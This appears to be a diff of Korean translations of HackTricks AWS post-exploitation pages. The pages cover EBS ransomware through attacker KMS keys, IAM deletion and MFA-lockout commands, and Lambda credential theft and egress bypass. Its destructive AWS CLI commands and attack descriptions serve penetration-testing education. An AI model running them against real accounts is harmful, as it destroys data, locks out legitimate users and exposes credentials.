|
||||
다음으로 'attacker' 계정의 key policy로 돌아가 'Outside Encryption' 정책 규칙을 key policy에서 제거합니다.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -455,15 +457,15 @@ S3 ransomware 예시와 유사하게, 이 공격은 연결된 EBS 볼륨의 복
|
||||
]
|
||||
}
|
||||
```
|
||||
새로 설정한 key policy가 전파될 때까지 잠시 기다리세요. 그런 다음 'victim' 계정으로 돌아가 새로 암호화된 EBS 볼륨 중 하나를 attach해 보세요. 볼륨을 attach할 수 있을 것입니다.
|
||||
새로 설정한 키 정책(key policy)이 전파될 때까지 잠시 기다리세요. 그런 다음 'victim' 계정으로 돌아가 새로 암호화된 EBS 볼륨 중 하나를 연결해 보세요. 볼륨을 연결할 수 있음을 확인할 수 있습니다.
|
||||
|
||||
 
|
||||
|
||||
하지만 암호화된 EBS 볼륨으로 EC2 인스턴스를 실제로 다시 시작하려 하면 실패하고 'pending' 상태에서 다시 'stopped' 상태로 영원히 돌아갑니다. 첨부된 EBS 볼륨을 더 이상 KMS key로 복호화할 수 없고, key policy가 이를 허용하지 않기 때문입니다.
|
||||
그러나 암호화된 EBS 볼륨으로 EC2 인스턴스를 실제로 다시 시작하려 하면 실패하고 'pending' 상태에서 'stopped' 상태로 영원히 돌아갑니다. 이는 연결된 EBS 볼륨을 더 이상 키로 복호화할 수 없고, 키 정책이 이를 허용하지 않기 때문입니다.
|
||||
|
||||
 
|
||||
|
||||
다음은 사용된 python 스크립트입니다. 이 스크립트는 'victim' 계정의 AWS creds와 암호화에 사용할 공개적으로 이용 가능한 AWS ARN 값을 입력으로 받습니다. 스크립트는 대상 AWS 계정의 모든 EC2 인스턴스에 연결된 모든 사용 가능한 EBS 볼륨의 암호화된 복사본을 만들고, 모든 EC2 인스턴스를 중지한 다음 원본 EBS 볼륨을 detach하고 삭제하며, 마지막으로 과정 중 사용된 모든 snapshots를 삭제합니다. 그 결과 대상 'victim' 계정에는 암호화된 EBS 볼륨만 남게 됩니다. 이 스크립트는 반드시 테스트 환경에서만 사용하세요. 파괴적이며 모든 원본 EBS 볼륨을 삭제합니다. 사용된 KMS key를 이용해 스냅샷으로 복구하여 원래 상태로 복원할 수는 있지만, 결국 이것은 ransomware PoC라는 점을 알려드립니다.
|
||||
다음은 사용된 python 스크립트입니다. 이 스크립트는 'victim' 계정용 AWS creds와 암호화에 사용할 키의 공개적으로 사용 가능한 AWS ARN 값을 입력으로 받습니다. 스크립트는 타깃 AWS 계정의 모든 EC2 인스턴스에 연결된 ALL 사용 가능한 EBS 볼륨의 암호화된 복사본을 생성한 다음, 모든 EC2 인스턴스를 중지하고 원본 EBS 볼륨을 분리한 후 삭제하고, 마지막으로 과정에서 사용된 모든 snapshots를 삭제합니다. 이렇게 하면 타깃 'victim' 계정에는 암호화된 EBS 볼륨만 남게 됩니다. 이 스크립트는 테스트 환경에서만 사용하세요. 파괴적이며 모든 원본 EBS 볼륨을 삭제합니다. 사용된 KMS key를 이용하고 snapshots를 통해 원래 상태로 복구할 수 있지만, 결국 이는 ransomware PoC라는 점을 알려드립니다.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -580,8 +582,8 @@ delete_snapshots(ec2_client, snapshot_ids)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## 참고자료
|
||||
## 참고 자료
|
||||
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – AWS에서 SSM을 사용해 파일을 전송하는 방법](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
IAM 접근에 대한 자세한 내용은:
|
||||
IAM 액세스에 대한 자세한 정보:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,13 +12,13 @@ IAM 접근에 대한 자세한 내용은:
|
||||
|
||||
## Confused Deputy 문제
|
||||
|
||||
만약 귀하의 계정에 있는 **role**에 대해 **외부 계정 (A)** 에게 접근을 허용하면, 해당 외부 계정을 정확히 **누가 액세스할 수 있는지에 대한 가시성은 사실상 0입니다**. 이는 문제가 됩니다. 왜냐하면 다른 외부 계정 (B)이 외부 계정 (A)에 접근할 수 있다면 **B가 귀하의 계정에도 접근할 수 있게 될 수 있기 때문**입니다.
|
||||
만약 당신이 **외부 계정 (A)**에게 당신의 계정 내 **role**에 접근을 허용하면, 해당 외부 계정에 **정확히 누가 접근할 수 있는지**에 대해 **전혀 가시성이 없을 가능성**이 큽니다. 이는 문제가 되는데, 다른 외부 계정 (B)이 외부 계정 (A)에 접근할 수 있다면 **B도 당신의 계정에 접근할 수 있게 될 가능성**이 있기 때문입니다.
|
||||
|
||||
따라서 귀하의 계정에서 외부 계정이 role에 접근하도록 허용할 때 `ExternalId`를 지정할 수 있습니다. 이는 외부 계정 (A)이 귀하의 조직에서 역할을 **assume**하기 위해 지정해야 하는 "비밀" 문자열입니다. 외부 계정 B는 이 문자열을 모를 것이므로, 설령 B가 A에 접근권을 가지고 있더라도 **귀하의 role에 접근할 수 없습니다**.
|
||||
따라서, 외부 계정이 당신의 계정 내의 role에 접근하도록 허용할 때 `ExternalId`를 지정할 수 있습니다. 이것은 외부 계정 (A)이 조직 내에서 **assume the role** 하기 위해 **명시해야 하는** "비밀" 문자열입니다. **외부 계정 B가 이 문자열을 모른다면**, B가 A에 접근하더라도 **당신의 role에 접근할 수 없습니다**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
그러나 이 `ExternalId` "비밀"은 **비밀이 아닙니다**, IAM assume role policy를 **읽을 수 있는 누구나 확인할 수 있습니다**. 하지만 외부 계정 A만 알고 있고 외부 계정 **B가 모르는 한**, 이는 **B가 A를 악용하여 귀하의 role에 접근하는 것을 방지합니다**.
|
||||
다만, 이 `ExternalId` "비밀"은 **비밀이 아니다**는 점에 유의하세요 — **IAM assume role policy를 읽을 수 있는 누구나 그것을 볼 수 있습니다**. 하지만 외부 계정 A만 이 값을 알고 있고 외부 계정 **B가 모른다면**, 이는 **B가 A를 악용해 당신의 role에 접근하는 것을 방지**합니다.
|
||||
|
||||
Example:
|
||||
```json
|
||||
@@ -39,11 +39,11 @@ Example:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> 공격자가 confused deputy를 악용하려면 principals of the current account가 roles in other accounts를 가장할 수 있는지 어떻게든 찾아내야 한다.
|
||||
> 공격자가 confused deputy를 악용하려면 현재 account의 principals가 다른 account의 roles를 impersonate할 수 있는지 어떻게든 찾아내야 합니다.
|
||||
|
||||
### 예상치 못한 신뢰
|
||||
### 예상치 못한 신뢰 관계
|
||||
|
||||
#### 와일드카드를 principal로 사용
|
||||
#### principal로서의 와일드카드
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
@@ -51,7 +51,7 @@ Example:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
이 정책은 **모든 AWS**가 역할을 맡도록 허용합니다.
|
||||
이 정책은 **모든 AWS가 역할을 맡을 수 있도록 허용합니다.**
|
||||
|
||||
#### 서비스가 주체인 경우
|
||||
```json
|
||||
@@ -62,7 +62,7 @@ Example:
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
이 정책은 **모든 계정이** 자신의 apigateway를 구성하여 이 Lambda를 호출할 수 있도록 허용합니다.
|
||||
이 정책은 **모든 계정이** 자신의 apigateway를 구성해 이 Lambda를 호출할 수 있도록 허용합니다.
|
||||
|
||||
#### S3를 주체로
|
||||
```json
|
||||
@@ -73,7 +73,7 @@ Example:
|
||||
}
|
||||
}
|
||||
```
|
||||
S3 bucket이 principal로 지정되어 있고, S3 buckets에는 계정 ID가 없기 때문에, 당신이 **버킷을 삭제했고 attacker가** 자신의 계정에 생성했다면, 그들은 이를 악용할 수 있습니다.
|
||||
S3 bucket이 principal로 지정된 경우, S3 buckets에는 Account ID가 없으므로, 만약 당신이 **deleted your bucket and the attacker created** 것을 attacker가 자신의 계정에 생성했다면, attacker가 이를 악용할 수 있습니다.
|
||||
|
||||
#### 지원되지 않음
|
||||
```json
|
||||
@@ -84,10 +84,10 @@ S3 bucket이 principal로 지정되어 있고, S3 buckets에는 계정 ID가 없
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **일부 서비스는 이를 지원하지 않을 수 있습니다** (예: 일부 자료에 따르면 CloudTrail).
|
||||
A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **일부 서비스는 이를 지원하지 않을 수 있습니다** (예: 일부 출처에 따르면 CloudTrail).
|
||||
|
||||
### 자격 증명 삭제
|
||||
다음 권한 중 어느 하나라도 — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — 가 있으면 행위자는 액세스 키, 로그인 프로필, SSH 키, 서비스 전용 자격 증명, 인스턴스 프로필, 인증서 또는 CloudFront 공개 키를 삭제하거나 인스턴스 프로필에서 역할을 분리할 수 있습니다. 이러한 조치는 정당한 사용자와 애플리케이션의 접근을 즉시 차단하고, 해당 자격 증명에 의존하는 시스템에 대해 denial-of-service 또는 접근 상실을 초래할 수 있으므로, 이러한 IAM 권한은 엄격하게 제한되고 모니터링되어야 합니다.
|
||||
With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — an actor can remove access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates or CloudFront public keys, or disassociate roles from instance profiles. Such actions can immediately block legitimate users and applications and cause denial-of-service or loss of access for systems that depend on those credentials, so these IAM permissions must be tightly restricted and monitored.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### 아이덴티티 삭제
|
||||
예를 들어 `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, `iam:RemoveUserFromGroup` 같은 권한이 있으면 행위자는 사용자, 역할, 그룹을 삭제하거나 그룹 구성원을 변경하여 아이덴티티와 관련된 흔적을 제거할 수 있습니다. 이는 해당 아이덴티티에 의존하는 사람과 서비스의 접근을 즉시 차단해 서비스 거부나 접근 상실을 초래할 수 있으므로, 이러한 IAM 액션은 엄격히 제한되고 모니터링되어야 합니다.
|
||||
권한(예: `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, `iam:RemoveUserFromGroup`)이 있으면 행위자는 사용자, 역할 또는 그룹을 삭제하거나 그룹 멤버십을 변경하여 아이덴티티와 관련된 흔적을 제거할 수 있습니다. 이는 해당 아이덴티티에 의존하는 사람과 서비스의 접근을 즉시 차단해 서비스 거부(denial-of-service) 또는 접근 상실을 초래할 수 있으므로, 이러한 IAM 작업은 엄격하게 제한되고 모니터링되어야 합니다.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
@@ -115,7 +115,7 @@ aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
다음 권한 중 하나라도 있으면 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — 행위자는 관리형/인라인 정책을 삭제하거나 분리(detach)하고, 정책 버전을 제거하거나 permissions boundaries를 삭제하며, 사용자·그룹·역할에서 정책 연결을 해제할 수 있습니다. 이는 권한을 파괴하고 권한 모델을 변경하여 해당 정책에 의존하던 주체의 즉각적인 접근 상실이나 서비스 거부를 초래할 수 있으므로 이러한 IAM 작업은 엄격히 제한되고 모니터링되어야 합니다.
|
||||
다음 권한 중 하나라도 있으면 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — 행위자는 관리형/인라인 정책을 삭제하거나 분리(detach)하고, 정책 버전이나 permissions boundaries를 제거하며, 사용자·그룹·역할에서 정책을 분리(unlink)할 수 있습니다. 이는 권한 부여를 파괴하고 권한 모델을 변경하여 해당 정책에 의존하던 주체(principals)의 즉각적인 접근 상실 또는 서비스 거부(denial-of-service)를 초래할 수 있으므로 이러한 IAM 액션은 엄격히 제한하고 모니터링해야 합니다.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
@@ -127,8 +127,8 @@ aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### 연합 신원 삭제
|
||||
`iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, 및 `iam:RemoveClientIDFromOpenIDConnectProvider` 권한으로 공격자는 OIDC/SAML identity providers를 삭제하거나 client ID를 제거할 수 있습니다. 이는 연합 인증을 중단시켜 토큰 검증을 방해하고 IdP 또는 설정이 복구될 때까지 SSO에 의존하는 사용자 및 서비스의 접근을 즉시 차단합니다.
|
||||
### 연합 ID 삭제
|
||||
`iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, 및 `iam:RemoveClientIDFromOpenIDConnectProvider` 권한으로 행위자는 OIDC/SAML identity providers를 삭제하거나 클라이언트 ID를 제거할 수 있습니다. 이로 인해 페더레이션 인증이 중단되어 토큰 검증이 불가능해지고, IdP 또는 구성이 복구될 때까지 SSO에 의존하는 사용자와 서비스의 접근이 즉시 차단됩니다.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
@@ -139,7 +139,7 @@ aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### 무단 MFA 활성화
|
||||
`iam:EnableMFADevice` 권한을 통해 행위자는 사용자의 계정에 MFA 디바이스를 등록하여 정당한 사용자의 로그인을 차단할 수 있습니다. 무단 MFA가 활성화되면 해당 디바이스가 제거되거나 재설정될 때까지 사용자가 로그인을 하지 못할 수 있습니다(참고: 여러 MFA 디바이스가 등록된 경우 로그인을 위해 하나만 필요하므로 이 공격은 접근 차단에는 영향을 미치지 않습니다).
|
||||
`iam:EnableMFADevice`를 통해 공격자는 사용자의 계정에 MFA device를 등록하여 정당한 사용자의 로그인(sign-in)을 차단할 수 있습니다. 무단 MFA가 활성화되면 해당 device가 제거되거나 재설정될 때까지 사용자가 잠길 수 있습니다(참고: 여러 MFA devices가 등록되어 있는 경우 sign-in에는 단 하나만 필요하므로 이 공격은 접근 차단에 영향을 주지 않습니다).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
@@ -147,8 +147,8 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### 인증서/키 메타데이터 변조
|
||||
`iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` 권한을 통해 공격자는 공개 키와 인증서의 상태 또는 메타데이터를 변경할 수 있습니다. 키/인증서를 비활성화하거나 참조를 변경함으로써 SSH 인증을 중단시키고 X.509/TLS 검증을 무효화하며, 해당 자격 증명에 의존하는 서비스를 즉시 중단시켜 접근 또는 가용성 상실을 초래할 수 있습니다.
|
||||
### Certificate/Key Metadata Tampering
|
||||
다음 권한들(`iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`)로 공격자는 공개 키와 인증서의 상태나 메타데이터를 변경할 수 있습니다. 키/인증서를 비활성으로 표시하거나 참조를 변경하면 SSH 인증을 중단시키고 X.509/TLS 검증을 무효화하며, 해당 자격 증명에 의존하는 서비스를 즉시 중단시켜 접근 권한 또는 가용성 상실을 초래할 수 있습니다.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
@@ -161,7 +161,7 @@ aws iam update-server-certificate \
|
||||
```
|
||||
### `iam:Delete*`
|
||||
|
||||
The IAM wildcard iam:Delete*은 users, roles, groups, policies, keys, certificates, MFA devices, policy versions 등 많은 종류의 IAM 리소스를 제거할 수 있는 권한을 부여합니다 — 따라서 영향 범위가 매우 큽니다: iam:Delete* 권한을 가진 행위자는 identities, credentials, policies 및 관련 산출물을 영구적으로 파괴하고, 감사/증거를 제거하며, 서비스 또는 운영 중단을 초래할 수 있습니다. 몇 가지 예는
|
||||
IAM 와일드카드 iam:Delete* 는 사용자(users), 역할(roles), 그룹(groups), 정책(policies), 키(keys), 인증서(certificates), MFA devices, 정책 버전(policy versions) 등 다양한 종류의 IAM 리소스를 제거할 수 있는 권한을 부여합니다. 따라서 영향 범위(blast radius)가 매우 큽니다: iam:Delete* 권한을 가진 행위자는 identities, credentials, policies 및 관련 아티팩트를 영구적으로 삭제하고, 감사/증거(audit/evidence)를 제거하며, 서비스 또는 운영 중단을 일으킬 수 있습니다. 몇 가지 예시는 다음과 같습니다
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user --user-name <Username>
|
||||
@@ -174,11 +174,11 @@ aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
|
||||
```
|
||||
### `iam:EnableMFADevice`
|
||||
|
||||
iam:EnableMFADevice 권한이 부여된 행위자는 해당 계정의 아이덴티티에 대해 MFA 장치를 등록할 수 있습니다(해당 사용자가 이미 활성화하지 않은 경우에 한함). 이는 사용자의 접근을 방해하는 데 사용할 수 있습니다: 공격자가 MFA 장치를 등록하면 정당한 사용자는 공격자가 등록한 MFA를 제어하지 못해 로그인할 수 없게 될 수 있습니다.
|
||||
iam:EnableMFADevice 권한이 부여된 actor는 account 내 identity에 MFA device를 등록할 수 있습니다. 단, 해당 user가 이미 MFA를 활성화하지 않은 경우에만 가능합니다. 이로 인해 user의 액세스에 방해가 될 수 있습니다: attacker가 MFA device를 등록하면 정당한 user는 attacker가 등록한 MFA를 제어하지 못하기 때문에 sign in이 차단될 수 있습니다.
|
||||
|
||||
이 접근 차단 공격은 사용자가 MFA를 전혀 등록하지 않은 경우에만 작동합니다; 공격자가 해당 사용자에 대해 MFA 장치를 등록하면 정당한 사용자는 그 새로운 MFA가 필요한 모든 흐름에서 차단됩니다. 사용자가 이미 하나 이상의 MFA 장치를 가지고 있다면 공격자가 제어하는 MFA를 추가해도 정당한 사용자는 차단되지 않습니다 — 사용자는 이미 보유한 어떤 MFA로든 계속 인증할 수 있습니다.
|
||||
이러한 접근 차단(denial-of-access) 공격은 user가 MFA를 등록하지 않은 경우에만 작동합니다; attacker가 그 user에 대해 MFA device를 등록하면 정당한 user는 해당 새 MFA를 요구하는 모든 흐름에서 잠기게 됩니다. 반대로 user가 이미 하나 이상 MFA device를 보유하고 있다면 attacker가 제어하는 MFA를 추가해도 정당한 user는 차단되지 않습니다 — user는 기존에 가지고 있던 어떤 MFA로도 계속 authenticate할 수 있습니다.
|
||||
|
||||
사용자에 대해 MFA 장치를 활성화(등록)하려면 공격자는 다음을 실행할 수 있습니다:
|
||||
user에 대해 MFA device를 enable(등록)하려면 attacker가 다음을 실행할 수 있습니다:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
@@ -186,7 +186,7 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
## 참조
|
||||
## 참고자료
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
|
||||
@@ -4,83 +4,83 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda 자격 증명 유출
|
||||
### Lambda 자격 증명 탈취
|
||||
|
||||
Lambda는 런타임에 자격 증명을 주입하기 위해 환경 변수를 사용합니다. `/proc/self/environ`을 읽거나 취약한 함수를 이용해 접근할 수 있다면 해당 값을 획득해 직접 사용할 수 있습니다. 이 값들은 기본 환경 변수명 `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, `AWS_ACCESS_KEY_ID`에 저장됩니다.
|
||||
Lambda는 런타임에 자격 증명을 주입하기 위해 environment variables를 사용합니다. 만약 `/proc/self/environ`을 읽거나 취약한 함수를 직접 사용하여 이들에 접근할 수 있다면, 해당 자격 증명을 직접 사용할 수 있습니다. 이 값들은 기본 변수 이름인 `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, 그리고 `AWS_ACCESS_KEY_ID`에 저장됩니다.
|
||||
|
||||
기본적으로 해당 자격 증명은 cloudwatch log group에 쓰기 권한(그 이름은 `AWS_LAMBDA_LOG_GROUP_NAME`에 저장됨)과 임의의 로그 그룹을 생성할 권한을 가집니다. 그러나 lambda functions는 용도에 따라 더 많은 권한이 할당되는 경우가 많습니다.
|
||||
기본적으로 이 자격 증명들은 cloudwatch 로그 그룹(이름은 `AWS_LAMBDA_LOG_GROUP_NAME`에 저장됨)에 쓰기 권한과 임의의 로그 그룹을 생성할 수 있는 권한을 가집니다. 그러나 lambda functions는 의도된 사용 목적에 따라 더 많은 권한이 할당되는 경우가 흔합니다.
|
||||
|
||||
### `lambda:Delete*`
|
||||
lambda:Delete* 권한을 부여받은 공격자는 Lambda functions, versions/aliases, layers, event source mappings 및 기타 관련 구성들을 삭제할 수 있습니다.
|
||||
lambda:Delete* 권한이 부여된 공격자는 Lambda functions, versions/aliases, layers, event source mappings 및 기타 관련 구성을 삭제할 수 있습니다.
|
||||
```bash
|
||||
aws lambda delete-function \
|
||||
--function-name <LAMBDA_NAME>
|
||||
```
|
||||
### 다른 사용자의 Lambda URL 요청 탈취
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
공격자가 어떤 방법으로든 Lambda 내부에서 RCE를 획득하면 다른 사용자의 Lambda에 대한 HTTP 요청을 탈취할 수 있습니다. 요청에 민감한 정보(예: cookies, credentials...)가 포함되어 있으면 이를 탈취할 수 있습니다.
|
||||
공격자가 어떤 식으로든 Lambda 내부에서 RCE를 얻으면 다른 사용자의 Lambda에 대한 HTTP 요청을 탈취할 수 있습니다. 요청에 민감한 정보(쿠키, 자격 증명 등)가 포함되어 있으면 이를 탈취할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### 다른 사용자의 Lambda URL 요청 및 Extensions 요청 탈취
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
|
||||
Lambda Layers를 악용하면 extensions를 악용해 Lambda에 지속적으로 남아 요청을 탈취하거나 수정할 수도 있습니다.
|
||||
Lambda Layers를 악용하면 extensions를 악용해 Lambda에 지속성을 확보하고 요청을 탈취·변조할 수도 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – VPC 이그레스 우회
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
빈 VpcConfig(SubnetIds=[], SecurityGroupIds=[])로 구성 업데이트하여 제한된 VPC에서 Lambda 함수를 밖으로 빼낼 수 있습니다. 그러면 함수는 Lambda가 관리하는 네트워킹 영역에서 실행되어 아웃바운드 인터넷 접근을 회복하고 NAT 없는 private VPC 서브넷에서 적용되는 egress 제어를 우회하게 됩니다.
|
||||
빈 VpcConfig(SubnetIds=[], SecurityGroupIds=[])로 설정을 업데이트하여 Lambda 함수를 제한된 VPC 밖으로 강제 이동시킬 수 있습니다. 그러면 함수는 Lambda-managed networking plane에서 실행되어 아웃바운드 인터넷 접근을 회복하고 NAT 없는 private VPC 서브넷에서 적용되는 egress 제어를 우회합니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback 악용
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
`lambda:PutRuntimeManagementConfig`를 악용해 함수를 특정 runtime 버전(Manual)에 고정하거나 업데이트를 동결(FunctionUpdate)할 수 있습니다. 이렇게 하면 악성 layers/wrappers와의 호환성을 유지하고 함수가 오래된 취약한 runtime에 머물러 익스플로잇 및 장기 persistence에 도움이 될 수 있습니다.
|
||||
`lambda:PutRuntimeManagementConfig`를 악용해 함수를 특정 runtime 버전(Manual)에 고정하거나 업데이트를 동결(FunctionUpdate)할 수 있습니다. 이렇게 하면 악성 layers/wrappers와의 호환성이 유지되며, 함수가 구식이거나 취약한 runtime에 머물러 exploitation과 장기 지속성에 도움이 될 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – LoggingConfig.LogGroup 리디렉션을 통한 로그 탈취
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
`lambda:UpdateFunctionConfiguration`의 고급 로깅 제어를 악용해 함수 로그를 공격자가 선택한 CloudWatch Logs 로그 그룹으로 리디렉션할 수 있습니다. 이 방법은 코드나 실행 역할을 변경하지 않고도 작동합니다(대부분의 Lambda 역할은 이미 `AWSLambdaBasicExecutionRole`을 통해 `logs:CreateLogGroup/CreateLogStream/PutLogEvents` 권한을 포함). 함수가 secrets/request bodies를 출력하거나 스택 트레이스로 크래시하면 새로운 로그 그룹에서 이를 수집할 수 있습니다.
|
||||
`lambda:UpdateFunctionConfiguration`의 고급 로깅 제어를 악용해 함수의 로그를 공격자가 선택한 CloudWatch Logs의 log group으로 리디렉션할 수 있습니다. 이는 코드나 실행 역할을 변경하지 않아도 동작합니다(대부분의 Lambda 역할은 이미 `AWSLambdaBasicExecutionRole`을 통해 `logs:CreateLogGroup/CreateLogStream/PutLogEvents`를 포함합니다). 함수가 비밀/요청 본문을 출력하거나 스택 트레이스로 충돌하면 새 log group에서 이를 수집할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL 공개 노출
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Function URL AuthType를 NONE으로 변경하고 모든 사용자에게 lambda:InvokeFunctionUrl 권한을 부여하는 resource-based policy를 연결하면 private Lambda Function URL을 public 무인증 엔드포인트로 만들 수 있습니다. 이는 내부 함수의 익명 호출을 가능하게 하며 민감한 백엔드 작업을 노출할 수 있습니다.
|
||||
Function URL AuthType을 NONE으로 전환하고 모든 사용자에게 `lambda:InvokeFunctionUrl` 권한을 부여하는 리소스 기반 정책을 연결하면 private Lambda Function URL을 공개 무인증 엔드포인트로 전환할 수 있습니다. 이는 내부 함수의 익명 호출을 가능하게 하여 민감한 백엔드 작업을 노출시킬 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Event Source Mapping 대상 하이재크
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
`UpdateEventSourceMapping`을 악용해 기존 Event Source Mapping(ESM)의 대상 Lambda 함수를 변경하면 DynamoDB Streams, Kinesis 또는 SQS의 레코드가 공격자 제어 함수로 전달됩니다. 이는 프로듀서나 원래 함수 코드를 건드리지 않고 실시간 데이터를 은밀히 우회시킵니다.
|
||||
기존 Event Source Mapping(ESM)의 대상 Lambda 함수를 변경하도록 `UpdateEventSourceMapping`을 악용하면 DynamoDB Streams, Kinesis 또는 SQS의 레코드가 공격자 제어 함수로 전달됩니다. 이는 프로듀서나 원래 함수 코드를 건드리지 않고 실시간 데이터를 은밀히 우회시킵니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – EFS Mount Injection 데이터 exfiltration
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
